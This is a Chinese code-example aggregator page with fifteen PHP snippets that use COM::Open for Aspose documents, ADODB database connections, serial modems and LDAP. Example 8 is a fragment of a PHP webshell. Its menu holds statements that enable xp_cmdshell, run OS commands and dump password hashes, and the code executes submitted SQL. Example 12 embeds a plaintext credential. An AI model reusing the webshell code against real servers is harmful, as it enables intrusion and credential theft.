当前位置: 首页>>代码示例>>PHP>>正文


PHP COM::Open方法代码示例

本文整理汇总了PHP中COM::Open方法的典型用法代码示例。如果您正苦于以下问题:PHP COM::Open方法的具体用法?PHP COM::Open怎么用?PHP COM::Open使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在COM的用法示例。


在下文中一共展示了COM::Open方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: run

 public static function run($dataDir = null)
 {
     if (is_null($dataDir)) {
         die("Data Directory Undefined");
     }
     $comHelper = new \COM("Aspose.Words.ComHelper");
     // Load the destination and source documents from disk.
     $dstDoc = $comHelper->Open($dataDir . "/TestFile.Destination.doc");
     $srcDoc = $comHelper->Open($dataDir . "/TestFile.Source.doc");
     // Append the source document to the destination document while keeping the original formatting of the source document.
     $dstDoc->AppendDocument($srcDoc, 1);
     $dstDoc->Save($dataDir . "/TestFile Out.docx");
     echo "Document appended successfully.\nFile saved at " . $dataDir . "TestFile Out.docx" . PHP_EOL;
 }
开发者ID:romans91,项目名称:Aspose_Words_NET,代码行数:14,代码来源:AppendDocuments.php

示例2: actionCheckComtool

 function actionCheckComtool()
 {
     if (class_exists('COM')) {
         try {
             $objComport = new COM("ActiveXperts.Comport");
             $objComport->Logfile = "C:\\PhpSerialLog.txt";
             $objComport->Device = "COM1";
             $objComport->Baudrate = 9600;
             $objComport->ComTimeout = 1000;
             $objComport->Open();
             print '<br>Check errros of COMport tool using (trying to connect with COM1)';
             if ($objComport->LastError != 0) {
                 if ($objComport->LastError >= 1000 && $objComport->LastError <= 1999) {
                     print '<br>LICENSING ERROR!!!';
                 } else {
                     print '<br>no licensing errors, some errors with com-port connection';
                 }
                 $ErrorNum = $objComport->LastError;
                 $ErrorDes = $objComport->GetErrorDescription($ErrorNum);
                 echo "<br><br>Error sending commands: #{$ErrorNum} ({$ErrorDes}).";
             }
         } catch (Exception $e) {
             print_r($e->getMessage());
         }
         $objComport->Close();
     } else {
         print "Class for work with COM ports is not available";
     }
 }
开发者ID:anton-itscript,项目名称:WM-Web,代码行数:29,代码来源:BugfixController.php

示例3: run

 public static function run($dataDir = null)
 {
     if (is_null($dataDir)) {
         die("Data Directory Undefined");
     }
     $comHelper = new \COM("Aspose.Words.ComHelper");
     $doc = $comHelper->Open($dataDir . "/Template.doc");
     // Save the document in PDF format.
     $doc->Save($dataDir . "/Doc2PdfSave Out.pdf");
     print "Document converted to PDF successfully.\nFile saved at " . $dataDir . "Doc2PdfSave Out.pdf" . PHP_EOL;
 }
开发者ID:jingejing,项目名称:Aspose_Words_NET,代码行数:11,代码来源:Doc2Pdf.php

示例4: run

 public static function run($dataDir = null)
 {
     if (is_null($dataDir)) {
         die("Data Directory Undefined");
     }
     $comHelper = new \COM("Aspose.Words.ComHelper");
     $doc = $comHelper->Open($dataDir . "/ReplaceSimple.doc");
     // Check the text of the document
     print "Original document text: " . $doc->Range->Text . PHP_EOL;
     // Replace the text in the document.
     $doc->Range->Replace("_CustomerName_", "James Bond", false, false);
     // Check the replacement was made.
     print "Original document text: " . $doc->Range->Text . PHP_EOL;
     // Save the modified document.
     $doc->Save($dataDir . "/ReplaceSimple Out.doc");
     print "Text found and replaced successfully.\nFile saved at " . $dataDir . "ReplaceSimple Out.doc" . PHP_EOL;
 }
开发者ID:romans91,项目名称:Aspose_Words_NET,代码行数:17,代码来源:FindAndReplace.php

示例5: db_connect

function db_connect()
{
	global $host,$user,$pwd,$dbname,$mssql_dmy,$cCodepage,$options, $ODBCString;
	$connStrings = array();
	if($_SESSION["MSSQLConnString"])
	{
		$connStrings[] = $_SESSION["SQLConnString"];
	}
	$connStrings[] = $ODBCString;
//	SQLOLEDB provider
    if($options=="SSPI")
		$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$host.";DATABASE=".$dbname.";Integrated Security=SSPI";
	else
		$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$host.";UID=".$user.";PWD=".$pwd.";DATABASE=".$dbname;	
//	SQLNCLI provider
    if($options=="SSPI")
		$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$host.";DATABASE=".$dbname.";Integrated Security=SSPI";
	else
		$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$host.";UID=".$user.";PWD=".$pwd.";DATABASE=".$dbname;	
//	go thru connection strings one by one
	$errorString = "";
	foreach($connStrings as $connStr)
	{
		try {
		$conn = new COM("ADODB.Connection",NULL,$cCodepage);
		$conn->Open($connStr);
		$rs=$conn->Execute("select convert(datetime,'2000-11-22',121)");
		$str=$rs->Fields[0]->Value;
		$y=strpos($str,"2000");
		$m=strpos($str,"11");
		$d=strpos($str,"22");
		if($y<$m && $m<$d)
			$mssql_dmy="ymd";
		if($d<$m && $m<$y)
			$mssql_dmy="dmy";
		$_SESSION["MSSQLConnString"] = $connStr;
		return $conn;
		} catch(com_exception $e)
		{
			$errorString .= "<br>".$e->getMessage();
		}
	}
	trigger_error($errorString, E_USER_ERROR);
}
开发者ID:helbertfurbino,项目名称:sgmofinanceiro,代码行数:44,代码来源:dbconnection.mssql.win.php

示例6: COM

    function _connect($argHostname, $argUsername, $argPassword, $argProvider = 'MSDASQL')
    {
        $u = 'UID';
        $p = 'PWD';
        if (!empty($this->charPage)) {
            $dbc = new COM('ADODB.Connection', null, $this->charPage);
        } else {
            $dbc = new COM('ADODB.Connection');
        }
        if (!$dbc) {
            return false;
        }
        if ($argProvider == 'mssql') {
            $u = 'User Id';
            $p = 'Password';
            $argProvider = 'SQLOLEDB';
            if (!$argUsername) {
                $argHostname .= ';Trusted_Connection=Yes';
            }
        } else {
            if ($argProvider == 'access') {
                $argProvider = 'Microsoft.Jet.OLEDB.4.0';
            }
        }
        if ($argProvider) {
            $dbc->Provider = $argProvider;
        }
        if ($argUsername) {
            $argHostname .= '' . ';' . $u . '=' . $argUsername;
        }
        if ($argPassword) {
            $argHostname .= '' . ';' . $p . '=' . $argPassword;
        }
        if ($this->debug) {
            adoconnection::outp('Host=' . $argHostname . ('' . '<BR>
 version=' . $dbc->version));
        }
        @$dbc->Open((string) $argHostname);
        $this->_connectionID = $dbc;
        $dbc->CursorLocation = $this->_cursor_location;
        return 0 < $dbc->State;
    }
开发者ID:antiwise,项目名称:collect,代码行数:42,代码来源:adodb-ado.inc.php

示例7: db_connect

function db_connect()
{
    global $host, $user, $pwd, $dbname, $mssql_dmy, $cCodepage;
    $connstr = "PROVIDER=SQLOLEDB;SERVER=" . $host . ";UID=" . $user . ";PWD=" . $pwd . ";DATABASE=" . $dbname;
    try {
        $conn = new COM("ADODB.Connection", NULL, $cCodepage);
        $conn->Open($connstr);
        $rs = $conn->Execute("select convert(datetime,'2000-11-22',121)");
        $str = $rs->Fields[0]->Value;
        $y = strpos($str, "2000");
        $m = strpos($str, "11");
        $d = strpos($str, "22");
        if ($y < $m && $m < $d) {
            $mssql_dmy = "ymd";
        }
        if ($d < $m && $m < $y) {
            $mssql_dmy = "dmy";
        }
    } catch (com_exception $e) {
        trigger_error($e->getMessage(), E_USER_ERROR);
    }
    return $conn;
}
开发者ID:samsulpendis,项目名称:Instant_Appointment,代码行数:23,代码来源:dbconnection.mssql.win.php

示例8: Com_h


//.........这里部分代码省略.........
        Str[26] = "Select Name FROM Master..SysDatabases;";
        Str[27] = "select name from sysobjects where type='U';";
        Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');";
        Str[29] = "select username,password from dba_users;";
        Str[30] = "select TABLE_NAME from all_tables;";
        Str[31] = "desc admin;";
        Str[32] = "grant connect,resource,dba to user_name;";
        Str[33] = "select datname from pg_database;";
        Str[34] = "select relname from pg_stat_user_tables;";
        Str[35] = "\\\\d table_name";
        Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
        Str[37] = "\\\\! uname -a";
        Str[38] = "select schemaname from syscat.schemata;";
        Str[39] = "select name from sysibm.systables;";
        Str[40] = "select colname from syscat.columns where tabname='table_name';";
        Str[41] = "db2 get db cfg for db_name;";
        Str[42] = "select name from sysdatabases;";
        Str[43] = "select tabname from systables where tabid=n;";
        Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;";
        Str[45] = "select username,usertype,password from sysusers;";
        if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
\treturn true;
}
</script>
conn strings:<br> <input type="text" name="string" id="string" value="{$string}" style="width:800px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--select range--</option>
<option value="1">Access</option>
<option value="2">MsSql</option>
<option value="3">MySql</option>
<option value="4">Oracle</option>
<option value="5">DB2</option>
<option value="6">PostGreSQL</option>
<option value="7">Informix</option>
<option value="8">DSN</option>
<option value="9">FILEDSN</option>
<option value="10">--sql statement--</option>
<option value="11">show data</option>
<option value="12">insert data</option>
<option value="13">update data</option>
<option value="14">create table</option>
<option value="15">drop table</option>
<option value="16">add column</option>
<option value="17">access shell()</option>
<option value="18">add xp_cmdsehll(sql2005)</option>
<option value="19">add oacreate(sql2005)</option>
<option value="20">add openrowset(sql2005)</option>
<option value="21">add xp_cmdsehll(sql2000)</option>
<option value="22">add oacreate(sql2000)</option>
<option value="23">oamethod exec</option>
<option value="24">sp_makewebtask</option>
<option value="25">xp_cmdshell</option>
<option value="26">databases(sql)</option>
<option value="27">tables(sql)</option>
<option value="28">columns(sql)</option>
<option value="29">hashes(oracle)</option>
<option value="30">tables(oracle)</option>
<option value="31">columns(oracle)</option>
<option value="32">grant(oracle)</option>
<option value="33">databases(pgsql)</option>
<option value="34">tables(pgsql)</option>
<option value="35">columns(pgsql)</option>
<option value="36">pg_hba.conf(pgsql)</option>
<option value="37">os-command(pgsql)</option>
<option value="38">databases(db2)</option>
<option value="39">tables(db2)</option>
<option value="40">columns(db2)</option>
<option value="41">db config(db2)</option>
<option value="42">databases(informix)</option>
<option value="43">tables(informix)</option>
<option value="44">columns(informix)</option>
<option value="45">hashes(informix)</option>
</select>
<br><br>SQL Commnad:<br> <input type="text" name="sql" id="sql" value="{$sql}" style="width:800px;">
<input class="bt" type="submit" value="execute">
</form><br>
END;
        if (!empty($string)) {
            @$shell->Open($string);
            $result = @$shell->Execute($sql);
            $count = $result->Fields->Count();
            for ($i = 0; $i < $count; $i++) {
                $Field[$i] = $result->Fields($i);
            }
            echo $result ? $sql . ' Done<br>' : $sql . ' Faild<br>';
            if (!empty($count)) {
                while (!$result->EOF) {
                    for ($i = 0; $i < $count; $i++) {
                        echo $Field[$i]->value . '<br>';
                    }
                    @$result->MoveNext();
                }
            }
            $shell->Close();
        }
    }
    $shell = NULL;
    echo '</div>';
    return true;
}
开发者ID:mcanv,项目名称:webshell,代码行数:101,代码来源:r00ts+php大马.php

示例9: execWithBlobProcessing

 /**
  * Execute an SQL query with blob fields processing
  * @param String sql
  * @param Array blobs
  * @param Array blobTypes
  * @return Boolean
  */
 public function execWithBlobProcessing($sql, $blobs, $blobTypes = array())
 {
     global $cCodepage;
     $this->debugInfo($sql);
     try {
         $recordset = new COM("ADODB.recordset", NULL, $cCodepage);
         $recordset->Open($sql, $this->conn, 2);
         return true;
     } catch (com_exception $e) {
         return false;
     }
 }
开发者ID:ryanblanchard,项目名称:Dashboard,代码行数:19,代码来源:ADOConnection.php

示例10: BASIS

function BASIS()
{
    $conn = new COM("ADODB.Connection") or die("Kan ADODB niet gebruiken");
    $conn->Provider = "OraOLEDB.Oracle";
    $conn->ConnectionString = "Data Source=GEO;User Id=gbi; Password=zomer;";
    $conn->Open();
    $sql_stmt = " SELECT SDO_UTIL.TO_WKTGEOMETRY(SDO_AGGR_MBR(shape)) FROM AB_HIST_GEMEENTEGRENS_V";
    $p = "";
    $Recordset = $conn->Execute($sql_stmt);
    while (!$Recordset->EOF) {
        $res = $Recordset->Fields[0]->Value;
        $lengte = strlen($res);
        $pol = strpos($res, "POLYGON");
        if ($pol >= 0) {
            $coord = substr($res, $pol + 10, $lengte - 10 - 2);
        }
        //print ($coord);
        //print ("<BR>");
        $Recordset->MoveNext();
    }
    $p = $coord . "|";
    $Recordset->Close();
    unset($Recordset);
    $sql_stmt = "SELECT SDO_UTIL.TO_WKTGEOMETRY(shape) FROM AB_HIST_GEMEENTEGRENS_V";
    $Recordset = $conn->Execute($sql_stmt);
    while (!$Recordset->EOF) {
        $res = $Recordset->Fields[0]->Value;
        //print ($res . "<BR><BR>");
        $lengte = strlen($res);
        $pol = strpos($res, "POLYGON");
        if ($pol >= 0) {
            $coord = substr($res, $pol + 10, $lengte - 10 - 2);
        }
        $p = $p . $coord . "|";
        $Recordset->MoveNext();
    }
    $Recordset->Close();
    unset($Recordset);
    $conn->Close();
    unset($conn);
    CREATEPDF($p);
    /*
    
    
    $sGeo = explode("|", $p);
    $tokens = explode(",", $sGeo[0]);
    $sMin = explode(" ", $tokens[0]);
    $sMax = explode(" ", $tokens[2]);
    
    $sMinX = $sMin[0];
    $sMinY = $sMin[1];
      
    print ("sMinX = " . $sMin[0]);
    print ("sMinY = " . $sMin[1]);
    
    for ($iRecord = 1; $iRecord < (count($sGeo) - 1); $iRecord++) {
    	$tokens = explode(",", $sGeo[$iRecord]);
    	print ($sGeo[$iRecord]);
    	print ("<BR><BR>");
    	$point = array();
    	for ($gRecord = 0; $gRecord < count($tokens); $gRecord++) {
    			$sPunt = explode(" ", $tokens[$gRecord]);
    			if ($gRecord == 0) {
    				$sX = $sPunt[0] - $sMinX;
    				$sY = $sPunt[1] - $sMinY;
     				print ("gRecord = 0 ");
    				print ($sX * 1000 / 350000);
     				print (" ");
    				print ($sY * 1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    			elseif ($gRecord == (count($tokens) - 1)) {
    				$sX = $sPunt[1] - $sMinX;
    				$sY = $sPunt[2] - $sMinY;
    				print ("gRecord = ubound(tokens) ");
    				print ($sX * 1000 / 350000);
    				print (" ");
    				print ($sY *1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    			else {			
    				$sX = $sPunt[1] - $sMinX;
    				$sY = $sPunt[2]- $sMinY;
    				print ($sX * 1000 / 350000);
    				print (" ");
    				print ($sY *1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    		}
    	unset($point);
    	}
    */
}
开发者ID:richdb,项目名称:GDB-Metadataeditor,代码行数:99,代码来源:oracle_pdf.php

示例11: Open

 function Open($dbType, $connectType = "c", $connect, $username = "", $password = "")
 {
     $this->dbType = $dbType;
     switch ($dbType) {
         case "mssql":
             if ($connectType == "c") {
                 $idCon = mssql_connect($connect, $username, $password);
             } else {
                 $idCon = mssql_pconnect($connect, $username, $password);
             }
             break;
         case "mysql":
             if ($connectType == "c") {
                 $idCon = mysql_connect($connect, $username, $password) or print 'Unable to Connect to the Main Database...';
             } else {
                 $idCon = mysql_pconnect($connect, $username, $password) or print 'Please Wait...<script language=JavaScript>this.location.reload();</script>';
             }
             break;
         case "pg":
             if ($connectType == "c") {
                 $idCon = pg_connect($connect . " user=" . $username . " password=" . $password);
             } else {
                 $idCon = pg_pconnect($connect . " user=" . $username . " password=" . $password);
             }
             break;
             // [NEW] Microsoft Access Database
         // [NEW] Microsoft Access Database
         case "access":
             $idCon = new COM('ADODB.Connection') or die("Cannot Start ADO!");
             if (!file_exists("../{$connect}")) {
                 die("Sorry, database file does not exist!<br>{$connect} ");
             }
             $idCon->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ={$connect};pwd={$password}");
             break;
         default:
             $idCon = 0;
             die("Database open unsuccessful!\n");
             break;
     }
     $this->idCon = $idCon;
     return $idCon;
 }
开发者ID:sgh1986915,项目名称:php-crm,代码行数:42,代码来源:clsDatabase.php

示例12: COM

<?php

//header("Content-Type: text/plain");
$objConnection = new COM("ADODB.Connection");
//$objConnection->Open("Provider=ADsDSOObject;user id=domain\\jdoe;password=somel0ngP@ss!!;");     //!!!PASSWORD AND LDAP DATA IN PLAIN_TEXT DO NOT USE!!!!!
$objConnection->Open("Provider=ADsDSOObject;user id=ops\\jdoe;password=somel0ngP@ss!!;encrypt password=true;");
//ENCRYPTS PASSWORD!!
$objCommand = new COM("ADODB.Command");
$objCommand->ActiveConnection = $objConnection;
//$objCommand->Properties["Asynchronous"] = True;     //SETTING TO TRUE DIDN'T MAKE A DIFFERENCE TO ME...
$objCommand->Properties["Cache Results"] = false;
//DEFAULT = True (http://msdn.microsoft.com/en-us/library/aa746471%28v=vs.85%29.aspx)
$objCommand->Properties["Chase Referrals"] = False;
//DEFAULT = False
//$objCommand->Properties["Column Names Only"] = True;     //DEFAULT = False
//$objCommand->Properties["Deref Aliases"] = False;     //DEFAULT = False
$objCommand->Properties["Page Size"] = 999;
//GET AROUND AD'S 1000 RECORD (DEFAULT)LIMIT AND PAGENATES RESULTS
$objCommand->Properties["SearchScope"] = 2;
//DEFAULT = ADS_SCOPE_SUBTREE(aka 2) (http://msdn.microsoft.com/en-us/library/aa772286%28v=vs.85%29.aspx)
//$objCommand->Properties["Size Limit"] = 0;     //DEFAULT = No Size Limit (An integer value that specifies the size limit for the search. For Active Directory, the size limit specifies the maximum number of returned objects.)
//$objCommand->Properties['Sort On']->Value = "name";     //DEFAULT = No Sorting (aka none)
$objCommand->Properties["Time Limit"] = 0;
//DEFAULT = No Time Limit (An integer value that specifies the time limit, in seconds, for the search.)
$objCommand->Properties["Timeout"] = 0;
//DEFAULT =  No Time Out (An integer value that specifies the client-side timeout value, in seconds.)
$Cmd = "<LDAP://192.168.1.1>;(objectClass=*);adspath;Subtree";
//YOUR AD SEVER HERE | FQDN or IP
$objCommand->CommandText = $Cmd;
$objRecordSet = $objCommand->Execute();
$OrderNumber = 0;
开发者ID:JhunCabas,项目名称:avarice-nms,代码行数:31,代码来源:Full-Active-Directory.php

示例13: pi

 public function pi(Request $request)
 {
     $data = $request->all();
     $connection_id = $data['connection_id'];
     $tagset_id = $data['tagset_id'];
     $cal_method = $data['cal_method'];
     $date_begin = $data['date_begin'];
     $date_end = $data['date_end'];
     $update_db = $data['update_db'];
     $int_connection = IntConnection::where(['ID' => $connection_id])->select('SERVER', 'USER_NAME', 'PASSWORD')->first();
     $server = $int_connection->SERVER;
     $username = $int_connection->USER_NAME;
     $password = $int_connection->PASSWORD;
     $intTagSet = IntTagSet::where(['ID' => $tagset_id])->select('TAGS')->first();
     $ptags = $intTagSet->TAGS;
     $str = "";
     if ($update_db && $cal_method == "all") {
         return response()->json("<font color='red'>Not allow inport data with method '<b>All</b>'</font>");
     }
     $tagcondition = "";
     $tags = explode("\n", $ptags);
     foreach ($tags as $tag) {
         if ($tag) {
             $tagcondition .= ($tagcondition ? " or " : "") . "tag='{$tag}'";
         }
     }
     if ($cal_method == "max" || $cal_method == "min") {
         $sql = "SELECT tt.tag,tt.TIME,tt.value\n\t\t\t\t\tFROM [piarchive].[picomp] tt\n\t\t\t\t\tinner join\n\t\t\t\t\t(\n\t\t\t\t\tSELECT tag tagx,{$cal_method}(value) mvalue\n\t\t\t\t\tFROM [piarchive].[picomp]\n\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}' group by tag\n\t\t\t\t\t) grouped on tt.tag=grouped.tagx and tt.value=grouped.mvalue\n\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\tAND value is not null\n\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}'";
     } else {
         if ($cal_method == "first" || $cal_method == "last") {
             $func = $cal_method == "first" ? "min" : "max";
             $sql = "SELECT tt.tag,tt.TIME,tt.value\n\t\t\t\t\t\tFROM [piarchive].[picomp] tt\n\t\t\t\t\t\tinner join\n\t\t\t\t\t\t(\n\t\t\t\t\t\tSELECT tag tagx,{$func}(time) mtime\n\t\t\t\t\t\tFROM [piarchive].[picomp]\n\t\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}' group by tag\n\t\t\t\t\t\t) grouped on tt.tag=grouped.tagx and tt.time=grouped.mtime\n\t\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\t\tAND value is not null\n\t\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}'";
         } else {
             if ($cal_method == "average") {
                 $sql = "SELECT tag, max(TIME) TIME, avg(value) value\n\t\t\t\t\t\tFROM picomp\n\t\t\t\t\t\tWHERE ({$tagcondition}) AND value is not null AND time BETWEEN '{$date_begin}' AND '{$date_end}'\n\t\t\t\t\t\tgroup by tag";
             } else {
                 $sql = "SELECT tag, TIME, value\n\t\t\t\t\t\tFROM picomp\n\t\t\t\t\t\tWHERE ({$tagcondition}) AND value is not null AND time BETWEEN '{$date_begin}' AND '{$date_end}'";
             }
         }
     }
     $update_db = 'No';
     if ($update_db) {
         $supdate_db = 'Yes';
     }
     $str .= " <b>Import PI data</b><br>";
     $str .= " Server: <b>" . $server . "</b><br>";
     $str .= " Data method: <b>" . $cal_method . "</b><br>";
     $str .= " Update database: <b>" . $supdate_db . "</b><br>";
     $str .= " From time: <b>" . $data['date_begin'] . "</b><br>";
     $str .= " To time: <b>" . $data['date_end'] . "</b><br><br>";
     $connection = new \COM("ADODB.Connection") or die("Cannot start ADO");
     $str .= " Open connection " . date('H:i:s') . "<br>";
     $connection->Open("Initial Catalog=piarchive;\n\t\t\t\tData Source='localhost';User ID =root;Password='';");
     $str .= " Begin command " . date('H:i:s') . "<br>";
     $result_set = $connection->Execute($sql);
     $result_count = 0;
     $labels = array();
     $str .= " Begin fetch data " . date('H:i:s') . "<br><br>";
     $str .= " <table><tr><td><b>Tag</b></td><td><b>Date/time</b></td><td><b>Value</b></td><td><b>Code</b></td><td><b>Status</b></td><td><b>Command</b></td></tr>";
     while (!$result_set->EOF) {
         $impSQL = "";
         $hasError = false;
         $statusCode = "Y";
         $err = "";
         $tagID = $result_set->fields[0]->value;
         $date = $result_set->fields[1]->value;
         $value = $result_set->fields[2]->value;
         $r_t = int_tag_mapping::where(['TAG_ID' => $tagID])->select('*')->first();
         if ($update_db) {
             if (count($r_t) <= 0) {
                 $hasError = true;
                 $statusCode = "NG";
                 $err = "Tag mapping not found";
             } else {
                 foreach ($r_t as $r) {
                     $table_name = strtoupper($r[TABLE_NAME]);
                     $column_name = strtoupper($r[COLUMN_NAME]);
                     $cc = DB::statement("SELECT TABLE_NAME FROM `INFORMATION_SCHEMA`.`TABLES` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' limit 1");
                     if (!$cc) {
                         $hasError = true;
                         $statusCode = "NT";
                         $err = "Table not found ({$table_name})";
                     } else {
                         $cc = DB::statement("SELECT COLUMN_NAME FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' and COLUMN_NAME='{$column_name}' limit 1");
                         if (!$cc) {
                             $hasError = true;
                             $statusCode = "NC";
                             $err = "Column not found ({$column_name})";
                         }
                     }
                     if (!$hasError) {
                         $objIDField = $this->getObjectIDFiledName($table_name);
                         $sF = "";
                         $sV = "";
                         $sWhere = "{$objIDField}={$r['OBJECT_ID']} and OCCUR_DATE=DATE('{$date}')";
                         if (substr($table_name, 0, 12) == "ENERGY_UNIT_") {
                             $sWhere .= " and FLOW_PHASE={$r['FLOW_PHASE']}";
                             $sF .= ",FLOW_PHASE";
                             $sV .= ",{$r['FLOW_PHASE']}";
                         }
//.........这里部分代码省略.........
开发者ID:hunglmtb,项目名称:eb,代码行数:101,代码来源:InterfaceController.php

示例14: COM

   <font size="4">ActiveXperts Serial Port Component PHP Sample</font>
   <br>
   <br>
   <b>Initialize a Hayes compatible modem with some AT commands.</b>
   <br>
   <br>
   <hr size="1" color="#707070" >
   <br>

   <?php 
$objComport = new COM("AxSerial.ComPort");
$objComport->Logfile = "C:\\PhpSerialLog.txt";
$objComport->Device = "COM5";
$objComport->Baudrate = 9600;
$objComport->ComTimeout = 1000;
$objComport->Open();
if ($objComport->LastError == 0) {
    echo "Sending 'ATZ'...<BR>";
    echo "<BR>";
    $objComport->WriteString("ATZ");
    while ($objComport->LastError == 0) {
        echo $objComport->ReadString();
        echo "<BR>";
    }
    echo "Sending 'ATI'...<BR>";
    echo "<BR>";
    $objComport->WriteString("ATI");
    while ($objComport->LastError == 0) {
        echo $objComport->ReadString();
        echo "<BR>";
    }
开发者ID:pcanilho,项目名称:SMSGateway,代码行数:31,代码来源:DummySMS.php

示例15: if

	function _connect($argHostname, $argUsername, $argPassword,$argDBorProvider, $argProvider= '')
	{
	// two modes
	//	-	if $argProvider is empty, we assume that $argDBorProvider holds provider -- this is for backward compat
	//	- 	if $argProvider is not empty, then $argDBorProvider holds db


		 if ($argProvider) {
		 	$argDatabasename = $argDBorProvider;
		 } else {
		 	$argDatabasename = '';
		 	if ($argDBorProvider) $argProvider = $argDBorProvider;
			else if (stripos($argHostname,'PROVIDER') === false) /* full conn string is not in $argHostname */
				$argProvider = 'MSDASQL';
		}


		try {
		$u = 'UID';
		$p = 'PWD';

		if (!empty($this->charPage))
			$dbc = new COM('ADODB.Connection',null,$this->charPage);
		else
			$dbc = new COM('ADODB.Connection');

		if (! $dbc) return false;

		/* special support if provider is mssql or access */
		if ($argProvider=='mssql') {
			$u = 'User Id';  //User parameter name for OLEDB
			$p = 'Password';
			$argProvider = "SQLOLEDB"; // SQL Server Provider

			// not yet
			//if ($argDatabasename) $argHostname .= ";Initial Catalog=$argDatabasename";

			//use trusted conection for SQL if username not specified
			if (!$argUsername) $argHostname .= ";Trusted_Connection=Yes";
		} else if ($argProvider=='access')
			$argProvider = "Microsoft.Jet.OLEDB.4.0"; // Microsoft Jet Provider

		if ($argProvider) $dbc->Provider = $argProvider;

		if ($argProvider) $argHostname = "PROVIDER=$argProvider;DRIVER={SQL Server};SERVER=$argHostname";


		if ($argDatabasename) $argHostname .= ";DATABASE=$argDatabasename";
		if ($argUsername) $argHostname .= ";$u=$argUsername";
		if ($argPassword)$argHostname .= ";$p=$argPassword";

		if ($this->debug) ADOConnection::outp( "Host=".$argHostname."<BR>\n version=$dbc->version");
		// @ added below for php 4.0.1 and earlier
		@$dbc->Open((string) $argHostname);

		$this->_connectionID = $dbc;

		$dbc->CursorLocation = $this->_cursor_location;
		return  $dbc->State > 0;
		} catch (exception $e) {
			if ($this->debug);echo "<pre>",$argHostname,"\n",$e,"</pre>\n";
		}

		return false;
	}
开发者ID:BackupTheBerlios,项目名称:oos-svn,代码行数:65,代码来源:adodb-ado5.inc.php


注:本文中的COM::Open方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。